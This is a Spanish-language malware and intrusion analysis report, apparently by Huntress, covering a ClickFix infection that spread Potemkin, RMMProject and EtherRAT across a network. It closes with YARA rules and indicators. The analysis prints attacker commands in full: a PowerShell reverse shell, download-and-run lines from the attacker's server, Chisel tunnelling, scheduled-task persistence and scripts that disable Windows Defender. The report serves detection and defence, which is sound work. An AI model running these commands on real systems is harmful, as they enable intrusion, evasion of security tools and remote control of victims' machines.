La tabla de importación incluye OpenProcessToken, AdjustTokenPrivileges, DuplicateTokenEx, ImpersonateLoggedOnUser y LogonUserW. Al rastrear las cadenas de llamadas se ve que estas funciones las usan las tareas de robo de cookies y credenciales (1002, 1003) y el módulo RTSC (1006), no las tareas de inyección. Su propósito es la suplantación del usuario: cuando RMMProject se ejecuta como SYSTEM o bajo una cuenta de servicio, duplica el token del usuario con sesión iniciada y lo suplanta para acceder a los directorios de perfil del navegador que pertenecen a ese usuario. El módulo RTSC usa el mismo mecanismo para lanzar explorer en el escritorio oculto bajo el contexto correcto del usuario.

La tarea 1026 descarga y carga un módulo adicional en tiempo de ejecución. La configuración de la tarea entrega un payload de tipo PE codificado en base64. RMMProject lo decodifica y luego lo mapea por completo en memoria usando su propio cargador de PE, la misma técnica de carga reflectante que Potemkin usa para RMMProject en sí. El cargador analiza los encabezados PE, asigna memoria con VirtualAlloc, mapea cada sección, aplica las reubicaciones, resuelve las importaciones mediante LoadLibraryA / GetProcAddress, registra los controladores de excepciones mediante RtlAddFunctionTable, y llama al punto de entrada DllMain del módulo. La tarea 1027 descarga los módulos cargados previamente llamando a DllMain de cada módulo con DLL_PROCESS_DETACH y liberando la memoria mapeada.

Más allá de la cabeza de playa: intrusión manual y movimiento lateral

Figura 10: Detecciones de EtherRAT en el portal de Huntress


Cinco horas después de la ejecución del cargador Potemkin, los actores de amenazas soltaron un cargador de segunda etapa. El cargador se ejecuta desde un directorio aleatorizado bajo AppData: C:\Users\username\AppData\Local\KafhCqGLhOS4\. Contiene tres archivos. node.exe es un entorno de ejecución de Node.js limpio y firmado, RlLF3rizah.ini es el JavaScript del cargador, MseKOytIWeVrP85.xml es el payload cifrado.

Persistencia

La persistencia reside en la clave Run por usuario HKCU\Software\Microsoft\Windows\CurrentVersion\Run, bajo un valor de nombre inofensivo llamado WindowsHost. Su contenido es conhost --headless “<node.exe>”“<RlLF3rizah.ini>”.

En cada inicio de sesión, Windows ejecuta ese comando. conhost.exe, el legítimo Console Window Host, se invoca con --headless, lo que suprime la ventana de consola para que el proceso de Node se ejecute sin ventana visible.

El cargador no depende de un dropper para mantenerse persistente: reescribe su propia clave Run. La ruta del registro y el fragmento de comando están codificados en base64 dentro del script: una cadena se decodifica en la ruta de la clave Run, otra en conhost --headless, y una tercera en reg. El cargador escribe el valor WindowsHost mediante reg.exe, que se invoca con windowsHide:true para que no aparezca ninguna ventana de consola en pantalla, y con stdio:”ignore” para descartar la salida del comando. La escritura ocurre sin indicación visible para el usuario. La bandera /f fuerza la sobrescritura sin un aviso de confirmación.

El reg add se ejecuta una vez, cerca del inicio del script, cuando arranca el proceso del cargador, no en un bucle. Así, el valor de persistencia se escribe una vez por proceso del cargador, y en la práctica eso significa una vez por inicio de sesión, ya que la clave Run es la que lanza el cargador.

Para la remediación, esto significa que limpiar solo la clave Run no basta. El bucle de reinicio mantiene residentes el proceso del cargador y su payload, y el siguiente inicio de sesión vuelve a lanzar el cargador y reescribe la clave. La limpieza requiere terminar los procesos de Node y eliminar los tres artefactos en disco, y luego quitar la clave Run.

La función dc() lee MseKOytIWeVrP85.xml y lo descifra a JavaScript con un cifrado de bytes personalizado. El cifrado usa tres constantes incrustadas en el cargador: una clave de sustracción de 64 bytes (k), una clave XOR de 16 bytes (n), y una S-box de 256 bytes (si). Cada byte del texto cifrado pasa por una sustracción encadenada del byte anterior, un XOR contra n y el índice propio del byte, una sustitución a través de la S-box, y una sustracción final contra k.

Figura 11: La función de descifrado de payload dc() y la tabla de sustitución si incrustada


Descifrar MseKOytIWeVrP85.xml con el cifrado anterior produce el payload: EtherRAT, una puerta trasera en Node.js. Al iniciar, EtherRAT deriva un directorio de instalación oculto bajo %LOCALAPPDATA%. Toma un hash MD5 de COMPUTERNAME + USERNAME y usa bytes de ese hash para elegir nombres de carpetas de dos listas fijas (Microsoft, Windows, Programs, Packages, Google y Services, Components, Assemblies, Extensions, Modules). La ruta es determinista por equipo, pero se ve distinta en cada máquina. La configuración se guarda ahí como un blob JSON codificado en base64.

El RAT también se asigna un ID persistente. Revisa su configuración guardada, luego un archivo oculto llamado .node_bot_id en %APPDATA%, luego cualquier archivo de punto de 11 caracteres (por ejemplo, .a1b2c3d4e5) en ese directorio, y solo genera un UUID nuevo si ninguno de esos existe. El ID se mantiene entre reinicios, de modo que el operador da seguimiento al mismo equipo a través de los reinicios. Un identificador de compilación, ab653feb-9e78-4578-87ed-2e30329fe858, está codificado de forma fija y se envía con el tráfico de C2. El registro de actividad está deshabilitado por defecto; cuando se habilita, escribe en %APPDATA%\svchost.log.

Como los investigadores ya documentaron antes, EtherRAT no codifica un dominio de C2 de forma fija. En cambio, usa EtherHiding para evadir la detección, lo que significa que lee su dirección de C2 desde la blockchain de Ethereum. El valor de respaldo en el código es solo hxxp://localhost:3000, un marcador de posición; la dirección real proviene de un contrato inteligente. El RAT guarda una dirección de contrato, una segunda dirección usada como clave de almacenamiento al construir los datos de la llamada, y un selector de función de 4 bytes. Emite solicitudes eth_call a través de siete proveedores públicos de RPC de Ethereum: Tenderly, Flashbots, MEV Blocker, BlastAPI, PublicNode, dRPC y Merkle. Luego decodifica la cadena codificada en ABI que devuelve el contrato y verifica que parezca una URL http(s) o ws(s).

Ejemplo de resolución del C2 en vivo desde el contrato de EtherHiding:

Loading Gist...

La dirección del C2 se guarda en el contrato y se devuelve en cada consulta. Para mover el botnet, el operador envía una sola transacción económica que actualiza el valor almacenado, y cada equipo infectado recibe el cambio en su siguiente consulta. El contrato usado por esta muestra es 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831, con la clave de almacenamiento 0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893. Al momento del análisis, el contrato devolvió el C2 en vivo hxxps://resumeacceptable[.]com. Una vez que tiene una URL de C2, EtherRAT entra en un ciclo de consultas infinito. Cada solicitud va a una URL aleatoria recién generada con el formato /api/<random>/<botID>/<random>.<ext>, donde la extensión se elige entre png, jpg, gif, css, ico o webp y se agrega un parámetro de consulta aleatorio entre id, token, key, b, q, s o v, de modo que cada consulta parece una solicitud de una imagen estática o una hoja de estilos.

Figura 12: Fragmento de EtherRAT descifrado

Túnel de Cloudflare (Paciente 0)

Poco después de establecerse EtherRAT, el actor de amenazas lo usó para entregar un túnel de Cloudflare. El cliente de Cloudflare cloudflared, renombrado como svchost.exe para hacerse pasar por un proceso de Windows, abre un túnel rápido de Cloudflare que expone un servicio local en 127.0.0.1:31024 a un nombre de dominio público de Cloudflare, lo que le da al atacante acceso accesible desde internet a ese servicio interno sin abrir ningún puerto de firewall. Escribe registros operativos en cloudflared_tunnel.log en la misma carpeta Temp, que registran el nombre de dominio público asignado al túnel y la actividad de conexión:

C:\Users\username\AppData\Local\Temp\cloudflared\svchost.exe tunnel --url http://127.0.0.1:31024 --protocol http2 --no-autoupdate --edge-ip-version auto --loglevel info --logfile C:\Users\usernam\AppData\Local\Temp\cloudflared_tunnel.log

Figura 13: Salida de registro (cloudflared_tunnel.log) del cliente cloudflared renombrado, que muestra intentos fallidos de alcanzar el borde de Cloudflare, con errores repetidos de DialContext al conectarse a las IP de borde de Cloudflare (198.41.200[.]63, 198.41.192[.]77) en el puerto 7844

La parte en la que aparece un humano

En las primeras horas del ataque, observamos un reconocimiento con WMIExec contra uno de los endpoints, que Defender detectó y bloqueó. El comando cmd.exe /Q /c whoami /groups | findstr /i admin 1> \Windows\Temp\DqNtxC 2>&1 lleva la firma de redirección comúnmente asociada con Impacket, donde la salida se escribe en \Windows\Temp\<8 caracteres>. Junto con esto, el atacante usó WMI y SMB para la ejecución remota de comandos, lo que sugería firmemente que las credenciales de Administrator ya habían sido comprometidas antes en la intrusión. Esto resultó ser el primer movimiento visible de lo que eventualmente rastrearíamos en los 11 endpoints únicos, una huella que se fue aclarando a medida que el cliente incorporaba más endpoints al agente de Huntress durante el compromiso. Cada nueva incorporación básicamente encendía las luces en otra habitación de la casa, y lo que vimos confirmó que el operador había estado trabajando en la red durante un tiempo antes de que tuviéramos telemetría para observarlo.

En uno de los servidores afectados, la actividad pasó a un trabajo manual mediante WinRM, originado desde una estación de trabajo interna ya bajo el control del atacante. El Event ID 91 de WinRM registró la creación de un shell de cmd como DOMAIN\Administrator en el endpoint de destino, lo que confirmó que el atacante se había conectado de forma interactiva con las credenciales comprometidas. Poco después, el primer PowerShell malicioso llegó al disco en forma de powershell -nop -ep bypass -w hidden -f C:\Windows\Temp\D0OK1nWwId9W.ps1. Según la actividad posterior, evaluamos que el contenido de PowerShell era el siguiente:

Loading Gist...

Lo que siguió fue uno de los tramos más entretenidos del caso, donde el movimiento inicial todo en uno del atacante chocó directamente con Windows Defender. El script estaba diseñado para parchar AMSI en el proceso actual recorriendo [Ref].Assembly para encontrar la clase AmsiUtils, localizar el campo amsiContext y sobrescribirlo con 0x80070057 (E_INVALIDARG) para que cualquier contenido de script posterior evadiera el escaneo de AMSI; escribir políticas del registro de Defender (DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring) para neutralizar el motor mediante políticas; y luego descargar el binario de Chisel desde hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe y cargarlo reflexivamente en memoria mediante [Reflection.Assembly]::Load, invocando el punto de entrada con los argumentos de cliente ek_user para establecer un túnel SOCKS inverso hacia 213.165.41[.]26:22603.

No funcionó limpiamente. El parche de AMSI manejó bien la capa de PowerShell, pero el escaneo en disco y en memoria de Defender seguía detectando el binario de Chisel. El primer lanzamiento mediante Start-ProcessC:\Windows\Temp\lQhEQui9a4lZ.exe -ArgumentList @('client','--auth','ek_user:S6YS0r55wH4U8Maa8joG','213.165.41[.]26:22603','R:47186:socks') quedó en cuarentena de inmediato.

El atacante volvió a preparar el binario usando certutil (certutil -urlcache -split -f hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe) y Defender lo puso en cuarentena otra vez. Las escrituras de políticas del script inicial habían configurado los valores correctos del registro, pero el escaneo en tiempo real de Defender seguía muy activo, y Chisel era un binario con firma conocida que Defender sabía detectar sin importar cómo el atacante intentara desplegarlo.

Después de suficientes ciclos de esto, el atacante finalmente logró agregar C:\ProgramData\p como ruta de exclusión, lo que le dio un directorio de preparación persistente y libre de inspección. A partir de ahí, intentó una carga reflectiva en memoria de Chisel usando [Byte[]]$b=(New-Object Net.WebClient).DownloadData('hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe'); [Reflection.Assembly]::Load($b).EntryPoint.Invoke(...), aunque Defender aún logró detectar el main.dll de Costura incluido. El atacante luego probó varias variantes del payload desde su directorio de preparación ya protegido, cada una una combinación distinta de los mismos componentes. J6Gupb9TpYNI.ps1 escribió las políticas de registro de Defender y luego descargó Chisel al disco dentro de la carpeta de exclusión antes de ejecutarlo de forma oculta, O67tak2KFRmJ.ps1 redujo todo a una carga reflectiva mínima en memoria, y fsjH6IHuUkhh.ps1 fue casi un duplicado del script de apertura original (parche de AMSI más escrituras de políticas de Defender más carga reflectiva), solo que ejecutado de nuevo desde el directorio protegido. Ninguno logró que Chisel pasara limpiamente a Defender, así que el atacante finalmente abandonó el intento de evasión y detuvo el servicio de Defender directamente con Stop-Service WinDefend -Force; sc.exe config WinDefend start= disabled; sc.exe stop WinDefend. Confirmaron la eliminación mediante (Get-MpComputerStatus).RealTimeProtectionEnabled, que los atacantes suelen ejecutar para verificar si Defender está activo o si el camino está despejado. Este es el tipo de detalle pequeño que indica que hay una persona operando el teclado.

Contenido de O67tak2KFRmJ.ps1:

Loading Gist...

Con Defender fuera del camino, el operador realizó reconocimiento adicional, ejecutando las mismas verificaciones dos veces. Extrajo InstalledUICulture, Win32_VideoController, SecurityCenter2 AntivirusProduct, Win32_ComputerSystem.Domain y Win32_ComputerSystem.PartOfDomain. También buscó instalaciones de ScreenConnect o ConnectWise usando Get-WmiObject Win32_Product | Where-Object { $_.Name -like *cons* }, lo cual es un precursor común para abusar de software RMM y obtener acceso posterior.

La persistencia siguió rápidamente. El primer mecanismo fue una tarea programada para obtener y ejecutar EtherRAT llamada msiInstall2, creada con schtasks /create /tn msiInstall2 /tr "msiexec.exe /i hxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart /l*v C:\ProgramData\p\msi.log" /sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn msiInstall2, que Defender puso en cuarentena desde C:\Windows\System32\Tasks\msiInstall2. El atacante luego estableció una segunda tarea programada llamada ekShell2 que apuntaba a C:\ProgramData\p\yH88LG8yCOnU.ps1. El script es una shell inversa, un ciclo que abrió una conexión TCP a 77.110.122[.]58:43301, generó un proceso hijo oculto powershell.exe -nop -ep bypass, y conectó el socket con los flujos de entrada, salida y error estándar del proceso. Los comandos recibidos se canalizaron a la entrada estándar de PowerShell, y los flujos de salida y error se leyeron de vuelta mediante un búfer de 4 KB y se escribieron al socket. Si la conexión se interrumpía o el proceso hijo de PowerShell terminaba, el script esperaba 30 segundos y se reconectaba.

Contenido de yH88LG8yCOnU.ps1:

Loading Gist...

Más tarde, en la misma sesión en este equipo, el atacante sacó a relucir la desactivación pesada de Defender. Primero ejecutó ek_disable_av.ps1, un script rápido que eliminó políticas y servicios, escribiendo los valores de registro estándar DisableAntiSpyware / DisableRealtimeMonitoring / DisableIOAVProtection / DisableBehaviorMonitoring / DisableOnAccessProtection, y luego detuvo y deshabilitó el servicio WinDefend.

Contenido de ek_disable_av.ps1:

Loading Gist...

Cuando eso no fue suficiente, continuaron con ek_kill_av.ps1, un script más completo que superpuso tres técnicas distintas de desactivación: el conjunto completo de políticas de registro de Defender (esta versión agrega DisableAntiVirus, DisableScanOnRealtimeEnable y DisableScriptScanning), los interruptores en tiempo de ejecución Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, y la eliminación directa de los servicios WinDefend, wscsvc (Centro de seguridad de Windows) y SecurityHealthService, tanto mediante Stop-Service como sc.exe. La redundancia es justamente el objetivo: en cualquier punto donde Defender o sus servicios de soporte pudieran volver a activarse, el script cerraba la puerta desde otro ángulo.

Contenido de ek_kill_av.ps1:

Loading Gist...

Luego ejecutaron ek_full.ps1, que realizó la misma desactivación de Defender basada en registro, esperó cinco segundos para que los cambios se asentaran, y llamó a msiexec /i hxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart. Este es el MSI que suelta EtherRAT, y vimos que el loader llegó a este equipo poco después, con el ya conocido conhost --headless envolviendo un runtime limpio de Node.js contra un payload .ini codificado: conhost --headless “C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe” “C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\EkYqfsgfyz.ini”. La persistencia se registró bajo la clave Run del usuario HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate, disfrazándose como una entrada inofensiva de actualización automática de Edge. Este es el mismo patrón de loader de EtherRAT que terminó en el resto de la red a través de la propagación lateral con SMBExec, con la misma huella de la clave Run EdgeUpdate en cada equipo donde el MSI se instaló. La única diferencia aquí fue la vía de entrega: el atacante tenía acceso directo con control manual del teclado en este servidor y pudo ejecutar el instalador MSI directamente, en lugar de depender de SMBExec para llevarlo a un equipo remoto.

Contenido de ek_full.ps1:

Loading Gist...

Después de descargar el MSI, armaron actividad de segunda ola desde un nuevo puerto de C2 usando IEX(New-Object Net.WebClient).DownloadString("hxxp://77.110.122[.]58:44479/bjxxUmG8K3uy.ps1"), y volvieron a desplegar Chisel con una nueva cadena de autenticación. El primer intento ejecutó Chisel como client 77.110.122[.]58:24954 R:socks sin autenticación alguna, y poco después lo volvieron a ejecutar con client --auth z9zkKCom6W2A3ptu6NXKYAK8:z9zkKCom6W2A3ptu6NXKYAK8 77.110.122[.]58:24954 R:socks.

El panorama en el controlador de dominio se veía diferente. El atacante lo alcanzó mediante WMIExec usando tanto una cuenta de usuario comprometida como el Administrador de dominio, soltando cargadores de PowerShell codificados que descargaban eCJam6D193GE.ps1 y RtPnuIz7RwPU.ps1 desde 77.110.122[.]58:44479. A partir de ahí cambiaron a SMBExec, volviendo al mismo patrón que vimos antes: un cmd.exe en contexto SYSTEM escribía un payload en un archivo batch bajo C:\Windows\TEMP\, lo ejecutaba y lo eliminaba en un solo comando encadenado. Lo primero que ejecutaron a través de este wrapper fue un simple whoami redirigido a \\<redacted>\C$\HOghqs, solo una verificación de que el canal funcionaba. Lo siguiente fue una reverse shell persistente de PowerShell apuntando a 77.110.122[.]58:18696, armada a través del mismo wrapper de SMBExec:

C:\Windows\system32\cmd.exe /Q /c echo powershell -w hidden -nop -c "while($true){try{$c=New-Object Net.Sockets.TCPClient(\"77.110.122[.]58\",18696);$s=$c.GetStream();$w=New-Object IO.StreamWriter($s);$w.AutoFlush=$true;$r=New-Object IO.StreamReader($s);while($c.Connected){$w.Write(\"PS> \");$l=$r.ReadLine();if($l -eq \"exit\"){break};try{$o=(iex $l 2>&1|Out-String);$w.Write($o)}catch{$w.Write($_.ToString())}}}catch{Start-Sleep 10}}" ^> \\WHCAD\C$\dYWxOl 2^>^&1 > C:\Windows\TEMP\IHYLqc.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\IHYLqc.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\IHYLqc.bat.

El bucle de PowerShell anterior abre un socket TCP hacia el C2 del atacante, escribe un prompt PS> a través del canal para que el operador perciba una sensación de shell interactiva en su extremo, lee comandos línea por línea desde el socket, ejecuta cada uno mediante Invoke-Expression (con stderr redirigido de vuelta por el mismo canal vía 2>&1), y escribe la salida de vuelta por el socket. El while($true) exterior y el catch{Start-Sleep 10} lo mantienen activo: si el C2 no está disponible, espera 10 segundos y reintenta; si una conexión activa se cae a mitad de sesión, se reconecta de inmediato.

El controlador de dominio también recibió el cargador de EtherRAT en ambos contextos. El cargador de Node.js se instaló en C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe ejecutándose como el Administrador de dominio, y de nuevo en C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe ejecutándose como SYSTEM. Ambos apuntaban al mismo payload .ini codificado en EkYqfsgfyz.ini, ambos persistían mediante la clave Run EdgeUpdate, y ambos estaban envueltos en conhost --headless.

A partir de aquí, el atacante pasó de sesiones puntuales de WinRM y WMIExec a movimiento lateral masivo vía SMBExec. El patrón era inconfundible: un cmd.exe en contexto SYSTEM hacía eco de un comando en un archivo batch con nombre aleatorio bajo C:\Windows\TEMP\, lo ejecutaba y lo eliminaba de inmediato, todo envuelto en una sola línea de comando como C:\Windows\system32\cmd.exe /Q /c echo cmd /c msiexec /i \\77.110.122[.]58\ADMIN$\Temp\EGGjVyW9Uloz.msi /qn ^> \\<HOST>\C$\<8chars> 2^>^&1 > C:\Windows\TEMP\<6chars>.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\<6chars>.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\<6chars>.bat. La firma de echo-a-bat-y-luego-eliminar, combinada con la redirección de salida de vuelta a \\<HOST>\C$\<8chars>, es el comportamiento de smbexec.py de Impacket, exactamente como está documentado. El payload en cada caso fue el mismo MSI, EGGjVyW9Uloz.msi, descargado desde el propio recurso compartido ADMIN$\Temp del atacante en 77.110.122[.]58.

Lamentablemente, no pudimos recuperar el propio EGGjVyW9Uloz.msi, así que el contenido y la cadena exacta de ejecución siguen sin confirmarse. Lo que sí observamos, en varios de los endpoints afectados durante la propagación lateral, fue un cargador de Node.js instalado en C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe, configurado para ejecutarse contra un payload .ini codificado en C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\EkYqfsgfyz.ini. La persistencia se configuró mediante una clave Run llamada EdgeUpdate y la ejecución se envolvió en conhost --headless. Este es el mismo patrón de cargador de EtherRAT que documentamos en el paciente cero, solo con un nombre de carpeta, nombre de archivo .ini y valor de clave Run diferentes (EdgeUpdate en lugar de WindowsHost). La huella estructural del cargador, un node.exe firmado y limpio emparejado con un payload .ini cifrado y persistencia mediante una clave Run de apariencia inofensiva, era idéntica dondequiera que apareciera. Ya sea que el MSI instalara EtherRAT directamente o pasara por una etapa intermedia que no pudimos recuperar, el estado final en los endpoints afectados fue la misma familia que ya habíamos visto en el paciente cero.

Toda esta actividad se desarrolló antes de que el Huntress Agent se instalara oficialmente en los endpoints afectados. Una vez que el servicio del agente estuvo en ejecución y la telemetría comenzó a fluir, el Huntress SOC pudo contener el sistema y comenzar la remediación.

Conclusión

Este caso ilustra lo que sucede cuando una infección de ClickFix pasa desapercibida. Lo que comenzó como un solo usuario ejecutando un comando pegado escaló hasta convertirse en una intrusión de varias etapas que involucró dos familias de malware personalizado, una puerta trasera resuelta mediante blockchain, y movimiento lateral manual a través de más de 11 endpoints.

Potemkin se encargó de la entrega: un cargador mínimo cuyo único trabajo era obtener y cargar reflexivamente un módulo desde el C2. RMMProject se encargó de las operaciones: un framework programable en Lua con robo de navegador, escritorio remoto, inyección de procesos y carga de módulos en tiempo de ejecución. EtherRAT se encargó de la resiliencia: una puerta trasera anclada a blockchain que podía sobrevivir a la eliminación de dominios. Un túnel de Cloudflare renombrado le dio al atacante acceso remoto persistente a la red interna. Y el trabajo manual mediante teclado se encargó de la expansión: WMIExec y SMBExec para distribuir el instalador MSI por la red, tareas programadas y claves Run para persistencia, y túneles de Chisel para acceso mediante proxy SOCKS.

El atacante probablemente tuvo horas de acceso sin ser detectado para establecer Potemkin, implementar EtherRAT, configurar un túnel de Cloudflare y comenzar el movimiento lateral, todo antes de que existiera telemetría para detectar cualquiera de estas acciones. Una vez que se instaló el agente de Huntress y la visibilidad estuvo en línea, el SOC pudo contener la situación, pero la ventana de daño quedó determinada por completo por cuánto tiempo ese endpoint inicial permaneció sin vigilancia.

Piensa en lo que implica la remediación una vez que una intrusión como esta ha tenido tiempo de propagarse. En más de 11 endpoints, el analista ahora está buscando claves Run en múltiples perfiles de usuario y en el contexto SYSTEM, tareas programadas con nombres aleatorios, rutas de exclusión de Defender y anulaciones de políticas del registro, binarios de túnel de Cloudflare renombrados para mezclarse con procesos de Windows, cargadores de EtherRAT con nombres de directorio aleatorios por endpoint, y un C2 resuelto mediante blockchain. Cada endpoint debe revisarse de forma individual porque los artefactos de persistencia varían: distintos nombres de carpetas, distintos nombres de archivo .ini, distintos valores de clave Run.

Ese es el costo de empezar tarde. Un agente de endpoint en esa primera máquina detecta el payload de ClickFix en el momento de la ejecución, antes de que exista toda esta propagación, y la remediación se reduce a un solo endpoint en lugar de once. Las brechas de cobertura no son riesgos teóricos: son el margen que los atacantes necesitan para convertir un solo mensaje de ClickFix en un compromiso a nivel de toda la red, y la diferencia entre una limpieza de una hora y una intervención de una semana.

Recomendación

  • Lo más impactante que podría haber cambiado el resultado de este caso era monitorear el endpoint donde todo comenzó. El atacante probablemente tuvo horas de acceso sin oposición en una máquina sin monitoreo, antes de que existiera telemetría en cualquier parte del entorno. Audita tu flota en busca de brechas: las estaciones de trabajo, los servidores y cualquier máquina con acceso a la red deberían tener un agente de endpoint. 

  • El atacante renombró cloudflared como svchost.exe y usó un túnel rápido para exponer un servicio interno a internet. Genera alertas por la ejecución de cloudflared o de copias renombradas de este. 

  • La mitigación más directa es deshabilitar el cuadro de diálogo Ejecutar de Windows mediante la Política de grupo, lo que también deshabilita el atajo Win+R. Los ataques de ClickFix dependen de que el usuario pegue un comando en este cuadro de diálogo; si no se abre, el ataque falla desde el primer paso. 

  • Usa la protección contra manipulaciones donde esté disponible, y monitorea los comandos Stop-Service WinDefend, sc.exe config WinDefend start= disabled y los comandos masivos Add-MpPreference -ExclusionPath como alertas de alta fiabilidad. 

Detección

Yara

Cargador Potemkin:

rule PotemkinLoader {
   meta:       
       author = "RussianPanda"
       description = "Detects Potemkin Loader"
       date = "4/6/2026"
       hash = "2abe5dd3a057fdef935722e50e               
       9251c272d29fd26113187b853a1f9a9cb89d9b"

   strings:
       $s1 = "[Agent] DLL returned (updatedll), reloading..."             ascii       
       $s2 = "dll_debug.log" ascii
       $s3 = "[Agent] LoadAndRunDLL=" ascii

   condition:
       uint16(0) == 0x5A4D and all of ($s*)
}

RMMProject:

rule RMMProject {
   meta:
       author = "RussianPanda"
       description = "Detects RMMProject RAT"
       date = "4/6/2026"
       hash = "3b7ae925e2d64522b4f69b56285b0
               5aeca8c5aab5ab46a9c02c4fafb69d881ce "
   strings:
       $s1 = "[RTSC] OpenInputSocket: sending session_id=" ascii
       $s2 = "kCookies: total_cookies=" ascii
       $s3 = "GetChromiumKey" ascii
  condition:
       uint16(0) == 0x5A4D and all of ($s*)
}

Indicadores de compromiso (IoC)

Indicador

Descripción

RunSearch.exe

SHA256: 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b

Potemkin Loader

avast_update.bin 

SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce 

RMMProject

ABE helper DLL

SHA256: cd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145

DLL incrustada dentro de RMMProject. Se inyecta en un proceso de Chrome/Edge generado para descifrar las claves de cookies de cifrado vinculado a la app (App-Bound Encryption) mediante la interfaz COM IElevator de Chrome.

inst24.msi

SHA256: 79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197ee9e089b

Instalador MSI que distribuye el loader Potemkin

cons_1.0.1.msi

SHA256: 2ada24dd6e517f37942b749c2bd57ddd97445e9853002cee70a0bc30d0b0ce3a

Entrega EtherRAT

77.110.122[.]58

C2 principal / preparación

213.165.41[.]26

Servidor Chisel reverse SOCKS

C:\Windows\Temp\D0OK1nWwId9W.ps1

Primer PS malicioso distribuido (contenido no recuperado)

C:\Windows\Temp\lQhEQui9a4lZ.exe

Cliente Chisel

C:\ProgramData\p\O67tak2KFRmJ.ps1

Loader reflectante en memoria

C:\ProgramData\p\J6Gupb9TpYNI.ps1

Script de PowerShell para descargar el cliente Chisel

C:\ProgramData\p\fsjH6IHuUkhh.ps1

Evasión de AMSI + deshabilitación de la política de registro de Defender + carga reflectante de Chisel

C:\ProgramData\p\ek_full.ps1

Script de deshabilitación de Defender basado en registro

C:\ProgramData\p\ek_kill_av.ps1

Eliminación de Defender: políticas de registro, cambios de Set-MpPreference y detenciones directas de los servicios WinDefend, wscsvc y SecurityHealthService.

C:\ProgramData\p\ek_disable_av.ps1

Script de deshabilitación de Defender

C:\ProgramData\p\yH88LG8yCOnU.ps1

Shell inverso: repite una conexión TCP a 77.110.122[.]58:43301, la conecta con un proceso oculto de powershell.exe y se reconecta cada 30 segundos si la conexión se interrumpe.

0xb3f2897f2bc797e5b9033faef8c81e92b01cb831

Contrato de Ethereum

0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893 

Clave de almacenamiento

ab653feb-9e78-4578-87ed-2e30329fe858

ID de compilación de EtherRAT

sonra.eutialyson[.]com

Dominio de descarga de MSI

cl.distritovagas[.]com 

Dominio HTA de ClickFix

anus-staylard[.]xyz

Dominio C2 para Potemkin y RMMProject

resumeacceptable[.]com

C2 de EtherRAT resuelto desde la blockchain

%LOCALAPPDATA%\hyper-v.ver 

Archivo UUID de Potemkin

%TEMP%\dll_debug.log

Registro de depuración de Potemkin

También te podría interesar

Más información sobre Cerrando la brecha: Managed ITDR ahora admite la deshabilitación de identidades para identidades sincronizadas con Active Directory
Cerrando la brecha: Managed ITDR ahora admite la deshabilitación de identidades para identidades sincronizadas con Active Directory
Blog

Una de las funciones más solicitadas de Huntress Managed ITDR ya está disponible: la deshabilitación de identidades para identidades sincronizadas con Active Directory. Esto es lo que significa para tu flujo de contención y respuesta.

Más información sobre CMMC: la oportunidad ($$) y el desafío para los MSP
CMMC: la oportunidad ($$) y el desafío para los MSP
Blog

CMMC no es solo otra casilla de cumplimiento: es un cambio de mercado que dividirá a los MSP entre ganadores y perdedores. Si el mandato de EMR te enseñó algo, es que quienes se mueven primero ganan.

Más información sobre Resiliencia operativa: cómo convertir tu plan de respuesta a incidentes en memoria muscular
Resiliencia operativa: cómo convertir tu plan de respuesta a incidentes en memoria muscular
Blog

Un plan de respuesta a incidentes solo funciona si se pone a prueba. Conoce los 5 pilares de la resiliencia operativa y cómo convertir tu plan en memoria muscular antes de que ocurra un ataque.